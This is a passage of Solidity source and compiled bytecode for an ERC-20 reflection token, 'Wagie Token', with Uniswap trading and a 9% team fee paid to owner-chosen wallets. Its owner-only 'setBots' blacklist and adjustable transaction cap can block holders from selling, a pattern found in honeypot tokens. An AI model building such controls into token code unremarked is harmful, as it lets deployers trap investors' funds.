bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WagieToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Wagie Token";
string private constant _symbol = 'WAGIE️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f576167696520546f6b656e000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5741474945efb88f000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a815